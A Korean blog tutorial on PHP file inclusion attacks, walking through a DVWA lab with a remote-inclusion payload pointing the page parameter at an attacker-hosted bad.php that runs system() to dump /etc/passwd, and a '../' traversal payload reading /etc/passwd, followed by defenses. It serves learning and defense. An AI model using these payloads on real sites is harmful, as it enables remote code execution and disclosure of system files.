File Inclusion Attack
주로 PHP 애플리케이션을 대상으로 발생하는 공격으로 include라는 함수를 사용해서 다른 파일을 소스코드에 직접 포함시켜서 실행시키는 공격 기법
include할 파일을 외부 사용자가 지정할 수 있으면 file inclusion 취약점이 존재한다.
File inclusion attack은 공격자가 포함시킬 수 있는 파일이 호스트 내부인지 외부인지에 따라서 나눠진다.
- Local File Inclusion(LFI)
- Remote File Inclusion(RFI)
File Inclusion Attack 실습
-실습 목표-
원격에 있는 파일을 include해서 그 파일의 내용을 RFI에 취약한 웹 환경에 실행시키자.
우선 다운로드해둔 bad.php 파일을 /var/www/html로 이동 시킨 후 apache2 서버를 실행시키고 시작하자.
이 파일을 RFI를 이용하여 실행시킬 예정이고
마지막 줄에 system()함수를 이용하여 password를 출력시킬 것이다.
이제 실습 페이지로 가보자.
이 페이지에서 주소창을 보면 page=include.php부분이 있다.
이처럼 page 파라미터로 php형식의 파일이 include되어서 화면에 출력되는 상황이다.
이제 file1.php링크를 눌러보자.
이번에는 page 파라미터가 file1.php로 변경되었고 사용자의 ID와 IP가 출력되었다.
다른 링크도 눌러보면 동일하게 page파라미터가 링크의 파일로 변경되는것을 확인할 수 있다.
-웹 모의해킹 팁-
파일의 경로가 파라미터를 통해서 전달된다면 file inclusion attack이나 directory traversal attack을 시도해 볼 수 있다.
이러한 방식으로 원격에 있는 파일을 include해서 실행시켜 보자.
page파라미터에 아래와 같이 입력해 보자.
page=http://<칼리 리눅스 IP>/bad.php
이렇게 칼리리눅스에 있는 bad.php파일이 include되어서 실행되었고 system() 함수에 있던 내용인 /etc/passwd의 내용이 출력되는 것을 확인할 수 있다.
만약 bad.php파일의 내용을 수정하면 내가 원하는 명령을 수행할 수 있다.
이번에는 LFI 방식으로 시도해 보자.
page의 파라미터를 아래의 내용으로 입력해 보자.
../../../../../etc/passwd
왜 ../를 이러한 방식으로 입력했지?
이 실습 페이지의 호스트 경로가 /var/www/dvwa/vulerabilites/fi/index.php이기 때문에 루트 디렉토리에 있는 다른 서브 디렉토리에 위치한 /etc/passwd에 접근하기 위해서는 상위 디렉토리를 5번 이상 호출해야 하기 때문이다.
이처럼 /etc/passwd 파일의 내용이 출력이 된다.
File Inlcuion Attack 대응법
- 가장 좋은 방법은 외부 사용자가 입력한 파일 이름을 include에 사용하지 않는 것이다.
- 외부의 파일 이름을 사용해야만 하는 경우에는 입력값 검증을 해야 한다.
- 화이트리스트 검증을 사용해서 include가 필요한 파일의 이름의 목록을 작성해서 해당 파일들만 허용하고 다른 파일은 차단하자.
- 블랙리스트 검증을 사용하여 http://같은 프로토콜 문자열을 차단하자.
'Web Hacking > File' 카테고리의 다른 글
File Upload Attack (0) | 2024.07.01 |
---|